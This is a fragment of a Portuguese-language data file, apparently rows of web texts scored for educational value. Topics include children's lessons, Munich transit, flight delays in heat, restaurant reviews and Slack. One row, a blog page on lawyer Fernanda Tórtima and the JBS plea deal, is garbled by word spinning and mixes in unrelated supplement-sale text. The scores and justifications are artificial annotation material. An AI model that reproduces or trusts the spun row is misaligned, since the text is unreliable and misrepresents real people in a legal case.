religiosas e festas. Ao redor da praça os blocos de casas indígenas ficavam alinhados de forma ordenada, permitindo que o crescimento do povoado fosse planejado.[5] +Atualmente, são poucas as paredes da igreja que continuam intactas, mas mesmo assim são capazes de mostrar a dimensão e grandiosidade do lugar. O prédio tem aproximadamente 80 metros de comprimento e 40 de largura. Além d...",original,original,original,original,4,0.8 +"fernandatrtima29157.look4blog.com +Nesse caso, não por acaso, e sim por conta da relevância dos bens jurídicos protegidos em cada caso, prevê este Palavra Penal, de modo a o crime patrimonial do apropriaçãeste indé especialmentebita, pena de 1 a quatro anos de reclusão, e para o crime de peculato — aí incluído este peculato apropriação — a pena de 2 a 12 anos! +O É DA COISA: Jair Bolsonaro tem a chance por descobrir a tempo virtude da política; não há caminho alternativo para demandas públicas +Também igualmente similarmente identicamente conjuntamente dispôs este legislador Derivado do os critérios dos quais o magistrado deve se valer de modo a aplicar, em casos concretos, as penas sugeridas através acima referida escala penal. Entre eles, é bem verdade, está prevista a circunstância relativa às consequências do crime. Parece óbvio, contudo, qual se está ali tratando do AS SUAS consequências imediatas. +É necessário qual se veja, no entanto, que as inegavelmente nefastas consequências socioeconômicas decorrentes da prática de tais crimes já foram por certo consideradas pelo legislador quando instituiu a escala penal — ou seja, as penas mínima e máxima — por cada um deles. +Em tua primeira entrevista Acerca este caso JBS, a advogada Fernanda Tórtima esclarece uma sfoirie por pontos até por sua vez obscuros na narrativa da Muito mais clamorosa delaçãeste premiada celebrada — e actualmente questionada — pelo País. +Este pedido foi feito, por pacto com a Procuradoria, ""após divulgaçãeste do reportagem da Folha do S.Paulo, utilizando a finalidade por evitar ilações impróprias e indevidas"". A reportagem confirmou a identidade do Tórtima nesta sexta através manhã após o jornal publicar informações Derivado do o encontro. +Segundo os papelada anexados ao processo, o restaurante Nosso Ipanema, localizado na Rua Maria Quitéria, está em fase avançada do obras. Até dezembro do ano passado, ESTES sócios haviam investido pouco mais de R$ 1,3 milhãeste pelo projeto. O objetivo é criar “um local de modo a atrair programas culturais voltado a 1 público intelectual, destacando-se na noite carioca como referência pelo seu ambiente e pela sua própria culinária”. +Segundo Joesley, Cardozo era 1 dos alvos das gravações da delação premiada por supostamente preservar sob tua influência alguns ministros do Supremo. +Fernanda Tórtima — Nenhum papel. A colaboração foi negociada por mim e por Francisco por Assis. Marcello Miller apenas se inteirou dos fatos qual foram apresentados na colaboração simplesmente porque ele iria atuar na negociaçãeste do entendimento do leniência da empresa — qual versaria Acerca os mesmos fatos. +As imagens são meramente ilustrativas do um produto novo com exemplos do unidades de que apresentam sinais de uso, ESTES quais podem ou nãeste estar presentes na unidade posta à venda. Os suplementos usados sãeste exibidos pelo sitio usando este selo USADO de modo a de que se destaquem Destes demais suplementos alimentares. GARANTIA +De pacto utilizando os investigadores da Lava Jato, os valores são fruto do recebimento por propina em contrato da Petrobras na adquire de um campo por petróleo pelo Benin, avaliado em Muito mais do US$ 34 milhões. +A propósito: este de que resultou da investigação determinada através ministra Cármen Lúcia? Nãeste está na hora do Raquel Dodge atuar, pautando-se mal através lei. +Parece bastante óbvio qual o movimento em caso por corrupção seria este inverso. E tanto a questãeste do estabelecimento do início do relacionamento profissional utilizando o Miller era tratada com naturalidade que foi mencionada em reuniãeste na PGR já pelo começeste por março. +A exoneração por Madruga foi anunciada depois do Tórtima e a PGR serem questionados através Folha Derivado do a participaçãeste dela na conversa. Ambos nãeste quiseram se manifestar. fonte do artigo Tórtima é citada na investigação qual apura a atuação do ex-­procurador Marcello Miller no convénio da empresa. Segundo os delatores, foi ela quem apresentou Miller à JB...",original,original,original,original,2,0.4 +"Olá, pequenos exploradores! Já pararam para pensar de onde viemos e como as pessoas ao nosso redor influenciam quem somos? Hoje, vamos embarcar em uma aventura para descobrir a importância da família e da comunidade em nossas vidas. + +Imagine sua casa como um ponto de partida. Dentro dela, vive a sua família, um grupo de pessoas unidas por laços de amor, carinho e cuidado. A família pode ser grande, pequena, com avós, tios, primos, ou apenas com seus pais e irmãos. Cada família tem sua própria história, seus próprios costumes e tradições, que são passados de geração em geração. Vocês já ouviram as histórias que seus avós contam? Elas são pedacinhos do passado, que ajudam a entender o presente e a construir o futuro! + +Mas a nossa história não se limita às paredes de casa. Quando saímos, encontramos a comunidade: a vizinhança, a escola, o clube, a igreja, a praça. A comunidade é um conjunto de pessoas que compartilham um espaço e interesses em comum. Nela, aprendemos a conviver com a diversidade, a respeitar as diferenças e a construir relações importantes. Na escola, por exemplo, fazemos amigos, aprendemos coisas novas e desenvolvemos habilidades que nos ajudarão a crescer. + +A comunidade também é um lugar de aprendizado sobre o passado. As ruas, os prédios antigos, os monumentos contam histórias de pessoas que viveram antes de nós e que contribuíram para a construção da nossa cidade. Vocês já repararam nas placas com nomes de ruas? Muitas vezes, elas homenageiam figuras importantes da nossa história local. + +Entender a importância da família e da comunidade nos ajuda a construir nossa identidade, a saber quem somos e de onde viemos. Participar ativamente da comunidade, cuidando do meio ambiente, respeitando os vizinhos e colaborando com os projetos da escola, nos torna cidadãos melhores e mais conscientes do nosso papel no mundo. + +Agora, que tal uma pequena missão? Conversem com seus pais, avós ou outros familiares e perguntem sobre as histórias da família. Descubram de onde vieram seus antepassados, quais eram seus costumes e tradições. Depois, explorem a comunidade ao redor de vocês. Visitem a biblioteca, o museu, a praça e conversem com as pessoas que vivem ali. Vocês vão se surpreender com as histórias incríveis que podem descobrir! + +Lembrem-se: cada um de nós faz parte de uma grande teia de relações, que nos conecta ao passado, ao presente e ao futuro. Valorizar a família e a comunidade é valorizar a nossa própria história e contribuir para um futuro mais justo e solidário.",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional para os anos iniciais do ensino fundamental. Apresenta informações básicas sobre família e comunidade de forma clara e envolvente, incentivando a exploração e o aprendizado sobre a própria história e o entorno social. A linguagem é acessível e a proposta de 'missão' estimula a participação ativa dos alunos. Aborda temas do currículo escolar de forma introdutória e adequada à faixa etária.",5,1.0 +"Principalmente para quem vem de cidades sem sistema de metrô, o que no Brasil não é difícil, pode parece complexo demais utilizar um sistema de transporte público como o daqui. Com o plus de desvantagem de ter que entender tudo em alemão. +Infelizmente (ou felizmente), é uma das primeiras coisas que você precisa entender na cidade se pretende se locomover por ela, seja a turismo ou por qualquer outro motivo. De cara parece muito pra absorver, mas assim que você aprende, fica facinho de ir a qualquer lugar. +Vai ser longo, mas pretendo explicar tudo para você entender qual o passe mais vantajoso para você e mostrar passo a passo como comprar e utilizar os meios de transporte por aqui. +As empresas de transporte público em Munique: +MVV – é a Associação de Transportes e Tarifas de Munique, das quais fazem parte: +MVG – é a empresa de transporte responsável pelo metrô, tram e ônibus até a linha 199; +DB – responsável pelo S-Bahn e linhas de ônibus a partir de 200. A DB é da Deutsche Bahn que é a empresa também encarregada pelo transporte ferroviário na Alemanha. +Como funciona a rede de transporte público em Munique? +O sistema cobre tanto a sistema de Munique quanto as cidades ao redor, sendo por S-Bahn, U-Bahn, Tram ou ônibus. Essa área toda é dividida por 7 zonas (Tarifzonen), sendo que a Zona M cobre toda a cidade de Munique. As localidades ao seu entorno são cobertas por zonas numeradas de 1 a 6, sendo que quanto maior o número da zona, mais longe do centro de Munique. +Mapa das Tarifzonen de Munique. Para baixá-lo clique aqui. +Para saber em qual zona as estações ou pontos que você precisa utilizar estão, baixe o mapa acima ou esse aqui, com os pontos de ônibus em vez dos de tram. Outra dica é baixar o app da MVG, o MVG Fahrinfo, e procurar seu trajeto. Ali ele mostra a zona dos pontos que você vai passar e todo o transporte que precisa ser utilizado para chegar lá. +Quais os meios de transporte público em Munique? +U-Bahn – metrô em alemão. É o principal meio de transporte da cidade e conta com 8 linhas, sendo 6 de funcionamento contínuo (U1 a U6) e duas que funcionam em horários de maior movimento (U7 e U8). O U-Bahn funciona na zona M ou 1, ou seja, dentro da cidade de Munique ou bem próximo à cidade. +S-Bahn – os trens que levam do centro de Munique até as regiões mais afastadas. É, juntamente com o U-Bahn, o principal meio de transporte de Munique. Funciona da zona 1 à 5. +Tram – são metrôs de rua, os bondinhos. Cobrem trajetos mais centrais que o U-Bahn não cobre, ou servem de “atalho” para alguns trajetos, nos quais com o U-Bahn ou S-Bahn seria necessário fazer baldeações. +Ônibus – presentes em toda a área, das zonas M até a 6, cobrindo pontos que os outros meios não cobrem. +Símbolos dos meios de transporte de Munique. Fonte: MVG. +Quais são os tipos de bilhetes? +Single trips (Einzelne Fahrten) – são tickets únicos, como temos no Brasil. Cada viagem gasta, pelo menos, um passe, considerando que aqui, devido à integração dos meios de transporte, a validade do bilhete é um tempo determinado de acordo com as zonas nas quais seu bilhete é válido. Por exemplo, se você comprou um ticket para andar somente na Zona M, ele é válido por 2 horas, já para a Zona M +1 a validade é de 3 horas. +Single ticket (Einzelfahrkarte) – é vantajoso se você precisa usar o transporte público somente uma vez. Por exemplo, se você se hospedar na casa de um amigo que vai te levar para passear de carro, mas ele não conseguiu te buscar no aeroporto, aí você precisa de um passe somente para chegar até a casa dele. +Stripe ticket (Streifenkarte) – você compra uma tira com 10 passes. Por ser um pouco mais barato que o Single Ticket, o Stripe Ticket é vantajoso se você vai precisar do transporte público só algumas vezes em dias diferentes. Esse ticket é meio complicado de utilizar: para a zona M precisam ser validados 2 passes e para cada uma das outras zonas 1 passe, sendo que o mínimo por viagem são dois passes validados. Além disso, você não pode fazer a volta com...",original,original,original,original,2,0.4 +"O Quarteto de Sombras da Avon foi completamente reformulado. Seu novo formato arredondado facilita a aplicação e sua nova fórmula oferece cobertura perfeita por até 8 horas. A exclusiva tecnologia Color Bond proporciona acabamento perfeito com o máximo de cor, além de uma textura macia e sedosa. +- Novo aplicador, maior e mais eficiente +- Espelho em tamanho maior para facilitar a aplicação +- Máximo de cor por até 8 horas",original,original,original,original,0,0.0 +"Por que o calor pode atrasar ou até cancelar uma decolagem? - ABEAR - Associação Brasileira das Empresas Aéreas +Início / Imprensa / Agência ABEAR / Pesquise na Agência ABEAR / Por que o calor pode atrasar ou até cancelar uma decolagem? +Por que o calor pode atrasar ou até cancelar uma decolagem? +A segurança do voo é prioridade para qualquer companhia aérea. Em nome de uma viagem segura, muitos fatores são observados e um deles pode parecer inusitado: o calor. Em localidades muito quentes, a temperatura do ar pode comprometer o embarque de passageiros já no aeroporto ou até cancelar a viagem, mas tudo faz parte de um rigoroso protocolo de segurança. +O atraso ou cancelamento de um voo em um dia de muito calor é pouco comum no Brasil, mas relativamente corriqueiro em aeroportos situados próximos a regiões desérticas, como o Arizona (América do Norte) ou o Saara (África). Por aqui, esta situação é muito menos frequente, mas não impossível. Trata-se de uma questão puramente científica: para decolar, um avião precisa de potência suficiente para vencer a resistência do ar e atingir uma velocidade que permita a ele ter sustentação para superar seu próprio peso, subir e se sustentar no ar. +A potência do motor depende do fluxo de combustível e do volume de oxigênio que entra nos motores dos aviões durante a aceleração e esse fator está diretamente relacionado à densidade do ar. Pelas leis da física, quando a temperatura do ar aumenta, cai sua densidade e ele se torna mais leve. É o que faz os balões de ar quente flutuarem, por exemplo. Os motores a jato funcionam a combustão, que ocorre após a reação entre combustível e o oxigênio. Em situações de intenso calor, com a densidade do ar reduzida, o volume de oxigênio que entra nos motores também diminui, o que impacta diretamente na potência, portanto, e na performance de decolagem do avião. +Quanto menor a densidade do ar, mais velocidade será necessária para tirar o avião do solo. Consequentemente, será preciso mais espaço em pista para permitir essa aceleração. Ou seja, em situações extremas, em que a pista não é longa o suficiente, o voo pode atrasar até a melhora das condições ou, até mesmo, ser cancelado. A integridade dos pneus não é afetada pela temperatura da pista, pois são projetados para trabalhar em condições bem extremas. +De acordo com o diretor de Segurança e Operações de Voo da Associação Brasileira das Empresas Aéreas (ABEAR), Ruy Amparo, as companhias aéreas tentam antever esse tipo de situação para evitar atrasos e cancelamentos em razão da temperatura ambiente. “O planejamento envolve desde a definição da aeronave certa para cada rota, até os melhores horários para realização dos voos e controle do peso transportado”, afirma Amparo. “Mas nem sempre é possível prever certas oscilações bruscas e atípicas de temperatura, sendo necessárias algumas ações de contingência”, complementa. +O diretor lembra que, antes de um voo ser cancelado, várias medidas podem ser tomadas para reduzir o peso da aeronave para viabilizar a partida. “Se houver condições para isso, é possível reduzir a quantidade de combustível a ser embarcada (desde que excedente ao mínimo exigido por legislação), retirar parte da carga e, apenas em último caso, realocar passageiros para outros voos”. +E nas regiões de clima muito quente? +Nas localidades em que, na maior parte do ano, a temperatura do ar alcança níveis muito elevados, as operações aéreas precisam estar adaptadas às condições climáticas. Em regiões desérticas, por exemplo, onde o calor passa frequentemente dos 40°, os aeroportos usualmente possuem pistas mais extensas. Localizado próximo ao deserto da Namíbia, na África, o Aeroporto Internacional Hosea Kutako, que atende a cidade de Windhoek, capital do país, possui pista principal com 4.532 metros de extensão. Em locais como esse, os voos mais longos, que demandam maior quantidade de combustível, carga e passageiros a bordo, têm suas decolagens prioritariamente feitas à noite, quando as temperaturas ...",original,original,original,original,3,0.6 +"Olá, exploradores do conhecimento! Já pararam para pensar no poder que as palavras carregam? Elas nos transportam para outros mundos, nos apresentam personagens incríveis e nos fazem refletir sobre a vida. Mas para aproveitar tudo isso, precisamos saber ler e interpretar o que lemos. E é sobre isso que vamos conversar hoje! + +Imagine que um texto é como um mapa de um tesouro. A leitura é o ato de decifrar esse mapa, e a interpretação é encontrar o tesouro escondido. Ler não é apenas juntar letras e formar palavras. É entender o que o autor quis dizer, qual a mensagem principal do texto, e como essa mensagem se conecta com o nosso mundo. + +Vamos pegar um exemplo simples. Imagine que você lê a seguinte frase em um site de notícias: ""Choveu forte na cidade e várias ruas ficaram alagadas."" A leitura dessa frase te informa sobre um evento: chuva forte e alagamentos. Mas a interpretação vai além. Você pode se perguntar: ""Em qual cidade isso aconteceu? Quais ruas foram afetadas? Será que alguém ficou ferido? Essa chuva é comum nessa época do ano?"" Ao fazer essas perguntas, você está interpretando o texto, conectando a informação com o seu conhecimento e buscando um entendimento mais profundo. + +No dia a dia, a interpretação de texto é fundamental. Seja para entender um problema de matemática, uma notícia sobre política, ou até mesmo uma conversa com seus amigos. Quando você entende o que está sendo dito, você consegue participar da discussão, tomar decisões informadas e formar sua própria opinião. Uma dica importante é sempre prestar atenção no contexto. Onde você leu o texto? Quem escreveu? Qual o objetivo do autor? Essas informações podem te ajudar a entender melhor a mensagem. + +Existem algumas ferramentas que podem te auxiliar na interpretação. Uma delas é identificar as palavras-chave do texto. Quais são as palavras mais importantes? Quais ideias elas representam? Outra ferramenta é fazer um resumo do texto com suas próprias palavras. Isso te força a organizar as ideias e a garantir que você realmente entendeu o que leu. Além disso, não tenha medo de perguntar! Se você não entendeu alguma coisa, pesquise, converse com seus amigos, professores ou familiares. A dúvida é o primeiro passo para o aprendizado. + +Lembre-se: a leitura e a interpretação são habilidades que se desenvolvem com a prática. Quanto mais você lê e se desafia a entender o que lê, mais fácil e prazeroso se torna essa aventura no mundo das palavras. E agora, que tal colocar em prática o que aprendemos? Escolha um texto interessante, leia com atenção e tente responder às seguintes perguntas: Qual �� a ideia principal do texto? Quais são os argumentos que o autor usa para defender essa ideia? Você concorda com o que o autor diz? Por quê? + +Com a leitura e a interpretação afiadas, você estará pronto para desvendar qualquer mistério e conquistar qualquer tesouro que o mundo das palavras tem a oferecer! Boas leituras!",Português,Leitura e interpretação de texto,anos finais (6º ao 9º ano),"O trecho recebe nota máxima (5) por apresentar alto valor educacional, sendo perfeitamente adequado para o ensino fundamental. Aborda a importância da leitura e interpretação de textos de forma clara, envolvente e acessível. Apresenta exemplos práticos, dicas e incentiva a reflexão, estimulando o desenvolvimento de habilidades essenciais para o aprendizado em diversas áreas do conhecimento. O texto é coerente, bem estruturado e motivador, adequado para diferentes níveis dentro do ensino fundamental.",5,1.0 +"Hoje trago os resultados do Top Comentarista de Maio vamos aos resultados direto, antes só queria agradecer a todos pela participação, muito obrigada mesmo, se eu pudesse daria um livro para cada pessoa que participa, mas infelizmente isso não é possível :) +Segue o resultado do Top de Maio: +Não fique triste se você não ganhou esse mês de Junho escolhi livros de lançamentos e tenho certeza que dessa vez você vai ganhar;) bora participar? +Comente nesse post para validar sua participação deixando seu e-mail para contato; +O envio do livro tem prazo de 30 dias e será enviado pelo blog +Para concorrer ao sorteio do Top Comentarista, será feito uma verificação de quantos post do mês de Maio cada um comentou e o ganhador será aquele que tiver feito mais comentários no mês, em caso de empate será feito sorteio pelo Randon.org. +O primeiro gannhador escolhe qual livro quer ganhar e o segundo fica com a outra opção; +Não nos responsabilizamos se o endereço não estiver correto para entrega; +Parabéns as meninas que ganharam, que elas realizem uma ótima leitura! +E não ficarei de fora este mês, estarei participando e torcendo muito!! +mas bora pro de junho, ta melhor que o de maio.. *-* +E vou participar de novo, espero conseguir ganhar mais uma vez ^^ +Vou participar do top de junho! :) +Caramba pensei que tinha participado em todos :( +Dois livros que desejo muito nesse mês! Estou participando! +Esse mês vou tentar participar!! +Vou tentar, mas com essa minha vida doida só deus sabe se vou conseguir. +Participando, quem sabe ganho o livro esse mês de junho =) +Participando. Quero muito ganha Um Caso Perdido.",original,original,original,original,1,0.2 +"Gostei muito! Cheguei e estava vazio! Logo de início foram super atenciosos, prestáveis e simpáticos. Pedimos naco e picanha na pedra é estável óptimo. Para repetir!! +Oct 08, 2016 +Patricia Ferreira ++4.5 +Restaurante muito agradável, com um Naco na Pedra muito bom e bem servido! Muito central, só não á tão fácil assim estacionar. Atendimento fantástico! Recomendo, e é para voltar!! +Jun 08, 2016 +Nuno L ++3.5 +Passei aqui centenas de vezes. +Hoje fui jantar. Razão? Um sistema de reservas que me alertou para este espaço. Entradas. Ovos com farinheira. Muito bons. Requeijão com abóbora normal e caro +Pratos bife da pedra bom com fruta. Uma espetada de carne e ansnaz. Graça e vara. E um peixe espada grelhado fresco. +Globalmente positivo principalmente devido ao desconto. +Apr 09, 2016 +Mariana Vitorino ++4.5 +Atendimento espetacular, boa comida, bem servido, oferece aquilo a que se propõe, uma comida despretensiosa, caseira e com o bónus da simpatia. +Jan 25, 2016 +Rita Dos Santos ++4 +Fizemos reserva através do my gon e não nos arrependemos mesmo nada. Escolhemos o naco na pedra que acompanhava com uma travessa de arroz e batatas, uma de fruta e outra de salada. Tivemos também direito a um Martini, azeitonas, pão e paté de atum. Uma sobremesa. A comida estava toda muito saborosa e é de destacar a EXTREMA simpatia dos funcionários. É um bom restaurante para jantares de grupo. Recomendo! +P.s: Peço desculpa pela fotografia já com a comida a meio, mas efetivamente estava mesmo boa e não conseguimos esperar. +Jan 25, 2016 +DAlmeida ++3.5 +Foi através do Mygon que conheci o Catita. +O espaço é típico de um restaurante convencional. +O atendimento prima pela simpatia e disponibilidade. +O preço é razoável. +Jan 09, 2016 +Micael Gameiro ++3.5 +Fui almoçar num dia da semana em Julho'15. O Restaurante estava quase vazio. +O atendimento foi rápido e atencioso. Optei pelo fondue de carnes com gambas e fruta, e gostei muito. +Jan 05, 2016 +Carolina Costa ++3.5 +Atendimento muito simpático por parte do senhor que nos atendeu, o naco na pedra valeu sem duvida a pena, apresentava um tempero fenomenal e uma boa textura. O espaço fica um bocado aquém, bem decorada mas a fazer recordar um ""restaurante"" de bairro. +Balanço final: um espaço para voltar quando se procura uma refeição mais calma e descontraída. +Dec 16, 2015 +Bruno Ferreira Costa ++4 +Fui ao Catita através de uma reserva no Mygon. Atendimento muito simpático, cordial e prestável. Optei pelo fondue de carnes e gambas, acompanhado por batata, arroz, salada e salada de frutas. Entradas agradáveis e uma mousse de maracujá saborosa. Fomos recebidos com um moscatel de Setúbal (a outra opção era um martini). Espaço cuidado. Preço deveras convidativo (27€ para duas pessoas). A repetir. +Sep 06, 2015 +Marco Lourenco ++3.5 +Atendimento muito bom. Qualidade da comida razoável, mas no geral foi uma experiência positiva. Comida caseira, e bem preparada. Acho ajustado ao preço, mas falta algo.... +Aug 08, 2015 +Arnaldo Ferreira ++4 +Restaurante muito acolhedor; o empregado e muito simpático e muito prestável, sempre disponível. Fui com a minha irmã e a minha namora e todos nós gostamos muito, a princípio, pareceu-nos pouca comida mas no fim sobrou!!! O fondue estava muito bom. +Voltarei de certeza a visitar este espaço +Jul 30, 2015 +Susana Sofia Pito ++3.5 +Não existindo perfil do restaurante ""catita 2"" esta avaliação basear-se-á unicamente na qualidade daquilo que comi. O espaço deste primeiro ""catita"", naturalmente, não conheço, achando aquele que fui demasiado pequeno e apertado para aquilo que se pretende - há que ter em atenção que fondue e nacos na pedra ocupam sempre espaço. Sendo a gerência e a ementa praticamente a mesma resta-me dizer que o naco na pedra tem qualidade e é muito bem servido, quer em acompanhamento de batata frita, arroz e fruta, quer em molhos e na quantidade de carne.Não é um restaurante surpreendente mas para matar saudades de um fondue ou pedra fica bastante em conta e, para esse objectivo, recomendo. +Jul 20, 2015 +Tom...",original,original,original,original,0,0.0 +"Cidade de Ananindeua Tudo sobre Ananindeua +A região é conhecida pela organização de grandes eventos populares como o Forronindeua, que tem um público médio de 40 mil pessoas em quatro noites de festa. No evento acontecem várias apresentações de quadrilhas juninas e cantores da terra. Em Ananindeua existem mais de 60 grupos de quadrilhas compostos por jovens de 16 a 30 anos. Completando o cenário regional, sua tradição religiosa é marcada pelo Círio da cidade, que é considerado um de seus maiores eventos eclesiásticos. A celebração, realizada nos meses de agosto, trata-se do Círio de Nossa Senhora das Graças, que acontece há mais de 62 anos e chega a reunir mais de três mil pessoas em procissão pelas ruas do município. ver artigo completo +Popula��o: 393.569 Hab.Site: http://www.ananindeua.pa.gov.br�rea: 191.429 Km²Munic�pios: 16Regi�o: Metropolitana de BelémDDD: 91 Ananindeua",original,original,original,original,1,0.2 +"Cine Sesi em nova temporada do Sertão ao Litoral - PE NotíciasPE Notícias +« As duas faces do ensino em Pernambuco +Açudes não se recuperam e comprometem retomada no Nordeste » +Cine Sesi em nova temporada do Sertão ao Litoral +A equipe do Cine Sesi, encabeçada pela múltipla Lina Rosa Vieira, curadora e idealizadora do projeto, começa nesta sexta-feira (31) uma nova temporada da ação que leva cinema para onde o povo está. Nesta 12ª temporada em terras pernambucanas, a 17ª da história do Cine Sesi, a caravana passa por 44 municípios. São quase seis meses na estrada – tirando apenas os dias de recesso, por causa das eleições e das festas de final de ano –, em duas rotas que cortam o Estado do Litoral ao Sertão, da Zona da Mata ao Agreste, levando na bagagem curtas e longas-metragens para uma população que há muito tempo – ou nunca mesmo – teve a experiência de ver um filme numa tela grande. +“No começo eu ia para todas as cidades, mas o projeto cresceu muito e hoje temos uma equipe muito preparada, com produtores culturais que acompanham cada sessão. Eu me sinto responsável porque muitas dessas sessões podem ser a única para aquelas pessoas. Meu sonho é que essas cidades possam ter salas permanentes. Afinal, são de 1, 5 a 3 mil pessoas que vão assistir aos filmes em praça pública. A iniciativa privada e o Estado precisam dialogar para ter as salas de cinema de volta, para que esse projeto não exista mais”, assevera Lina Rosa. +Nessa dúzia de anos, o Cine Sesi já passou por 117 cidades e atingiu um público estimado em 1 milhão de pessoas. Ao todo, o projeto já teve cerca de 5,2 milhões de espectadores em suas exibições ambulantes por 700 municípios de 12 Estados brasileiros. Esses números estratosféricos estão sempre aumentado a cada ano, tendo praças e pátios transformadas em cinema ao livre, com milhares de pessoas de olhos grudados na tela, rindo, se emocionando e comendo pipoca, sem pagarem nada, apenas tendo o esforço de sair de casa e se deixarem levar pelas escolhas de Lina Rosa, com títulos que levantam questões e abrem discussões positivas. +“Geralmente, escolho filmes brasileiros, mas este ano não encontrei uma animação nacional que se adequasse à curadoria. Pelo menos, foi dirigido por brasileiro. Mas os outros dois longas – Pequeno Segredo e O Filho Eterno – trazem questões que podem ser discutidas após a sessão e também em escolas. Em outra cidade, este filme motivou que um casal adotasse uma criança Down”, relembra a curadora, afirmando, ainda, que as sessões, ao ocupar espaços públicos, permitem a apropriação deles para reuniões e encontros. “Muitos desses espaços estão esquecidos e só são ocupados por manifestações religiosas e políticas. Levar cultura para esses lugares, por meio de filmes, propicia que essa população pense melhor sobre a política e a própria religião”, assegura. +As sessões começam por Ouricuri e Santa Terezinha, no Sertão, com a apresentação de três longas-metragens e três curtas, de hoje até domingo. Dos 44 municípios pernambucanos que vão receber a trupe do Cine Sesi, com sua tela de 70m², 15 deles são estreantes no projeto. São eles: Cedro, Cortês, Cumaru, Iguaraci, Itamaracá, Itambé, Itaquitinga, Jaqueira, Lagoa do Ouro, Macaparana, Machados, Maraial, Moreno, Sairé e São José da Coroa Grande. +“Em cada uma delas, um carro de som percorre as ruas convidando as pessoas. A experiência que o cinema traz para elas é de uma dimensão que não se compara nem de longe ao se assistir à TV. Dependendo do lugar e das circunstâncias, as sessões são inesquecíveis. Em Palmeiras do Índios, por exemplo, a estrutura foi montada em cima dos trilhos por onde passava o trem que levou o escritor Graciliano Ramos para o Rio”, recorda a idealizadora do Cine Sesi.",original,original,original,original,3,0.6 +"Trabalhe tão duro que um dia sua assinatura será chamada de autógrafo. +Trabalhe duro e mantenha-se humilde. +Todos tem ideias, nem todos trabalham nelas. +“Inspiração existe, mas ela precisa nos encontrar trabalhando” Picasso +Trabalhe para se tornar e não para adquirir. +“Todos foram feitos para algum trabalho em particular e o desejo por este trabalho foi colocado em cada coração” Rumi +“O trabalho que você faz enquanto procrastina é provavelmente o trabalho que deveria estar fazendo pelo resto de sua vida” Jessica Hische +“A melhor preparação para fazer um bom trabalho de amanhã é fazer um bom trabalho hoje” Elbert Hubband +14 janeiro, 2014 frases de trabalho frases sobre trabalho",original,original,original,original,3,0.6 +"Registro de Domínio vs. Registro de Marca - HF Tecnologia +Registro de Domínio vs. Registro de Marca +Frequentemente recebemos e-mails de escritórios especialistas em registro de marcas e patentes alertando para o registro da marca da nossa empresa, um dos argumentos é o risco de perder o domínio (hftecnologia.com.br) que temos registrado. O mesmo ocorre com nossos clientes que pedem a nossa ajuda e opinião sobre os e-mails. +Um domínio de internet é utilizado para acessarmos sites, e-mails e outros serviços disponibilizados via web, podem ser .com, .com.br, .net, .net.br, .adv.br, .gov.br etc., no Brasil são regulamentados pelo órgão Registro.BR (clique aqui e veja o nosso post sobre como funciona o registro de domínios). Eles são renovados em períodos anuais e podem estar cadastrados para pessoa física ou jurídica, se o endereço desejado (NOME.COM.BR) estiver disponível, o processo de aquisição leva poucos minutos. +No Brasil a entidade responsável pelo registro de marcas é o INPI, segundo ele “A marca registrada garante ao seu titular o direito de uso exclusivo no território nacional em seu ramo de atividade econômica pelo período de dez anos, a partir da data da concessão. O registro pode ser prorrogado por sucessivos períodos de dez anos.“ +Compreendida a diferença entre os conceitos e visto que são processos totalmente diferentes, vamos à resposta para a pergunta “Registro de marca dá direito ao registro do domínio?”. Seguindo diversas decisões nos tribunais brasileiros, o consenso é que o registro de uma marca não é garantia de uso do endereço corresponde a ela na internet, a não ser que a marca seja famosa, de renome ou tenha muita notoriedade. +Ainda segundo os tribunais, a regra para registrar o nome de um domínio na internet brasileira é first to file (first come ou first served), ou o primeiro que registrar, além de outros requisitos exigidos pelo órgão responsável (Registro.BR). +Colocamos mais abaixo links que apontam para o mesmo tema, recomendamos a leitura e orientamos que podem haver decisões contra o que colocamos aqui, por isso recomendamos sempre assessoria jurídica sobre o assunto. +Finalizando, também recomendamos sempre antes de criar uma empresa, verificar a disponibilidade do domínio para que nome da empresa e site/e-mail fiquem com o mesmo padrão, lembrando que além de .com.br e .com, existem .adv.br, .eng.br, net.br etc., aumentando as possibilidades de registro. +O registro da marca me dá direito sobre o domínio de mesmo nome? – Blog Fixar Propriedade Intelectual. Acessado em 14/08/2017. +Qual a diferença entre REGISTRO DE MARCA e REGISTRO DE DOMÍNIO – Cone Sul. Acessado em 14/08/2017. +Registro de marca no INPI não garante domínio na internet, decide TJ-RJ – ConJur. Acessado em 14/08/2017. +Uso de marca em domínio na internet é de quem chega primeiro – ConJur. Acessado em 14/08/2017.",original,original,original,original,4,0.8 +Conheça nossas vagas disponíveis e envie o seu currículo agora mesmo para a Smolder Surf Wear!,original,original,original,original,0,0.0 +"O Slack é uma ferramenta de mensagens entre colaboradores, criada em 2013, que ficou rapidamente popular entre startups. Para você ter uma noção, em 2014, a companhia somava 16 mil usuários ativos por dia. Em 2015, no mesmo período, já tinha alcançado 500 mil. +Hoje, o Slack tem cinco milhões de usuários que interagem entre si todos os dias em mais de 60 mil times. Muitos proclamam que o e-mail vai acabar por causa dele. Mas o que exatamente é essa plataforma? +Conheça todas as suas funções e saiba como ela pode transformar qualquer tipo de serviço realizado por equipes, não só em empresas. +O Slack é dividido em times criados pelos usuários. Quem cria vira administrador e pode convidar outros usuários, por e-mail, a se juntar ao time. Quando você começa um time, recebe uma URL só dele, neste formato: www.exemplo.slack.com. +A quantidade de membros é ilimitada. O Slack oferece planos pagos com funções extras, mais direcionadas a grandes corporações. Mas as funcionalidades gratuitas são suficientes para muitas empresas. Dentro de cada time, você pode se comunicar com os integrantes de forma privada, criar conversas em grupo ou interagir nos canais. +Logo de início, todos os times vêm com dois canais: #random (aleatório) e #general (geral). O random tem a intenção de ser um lugar de descontração, no qual os membros podem falar do que não diz respeito diretamente ao trabalho da equipe, mas contribui para a boa convivência. O general é para assuntos importantes do trabalho, mas não de uma área específica. +Os canais são abertos. Qualquer um do time pode criar, entrar e sair deles. Normalmente, eles são criados por projeto. Por exemplo: #rh, #desenvolvimento, #comunicação. Se você identifica que há uma conversa muito longa no #general e que precisa de um lugar só para ela, basta criar outro canal. +As mensagens diretas representam a comunicação privada do Slack. Você pode conversar diretamente com um membro, como em qualquer chat, mas também é possível criar conversas em grupo sem a participação de todos os participantes do time. É uma forma fácil de comunicar com seus colegas e seus parceiros de projeto. +O histórico de conversas entre usuários pode ser acessado até alcançar 10 mil mensagens. Depois desse número, só times com planos pagos do Slack podem ter acesso. +O Slack ainda oferece a funcionalidade de fazer upload de arquivos, fotos e vídeos – tanto dentro de conversas quanto nos canais. Usuários do plano free podem 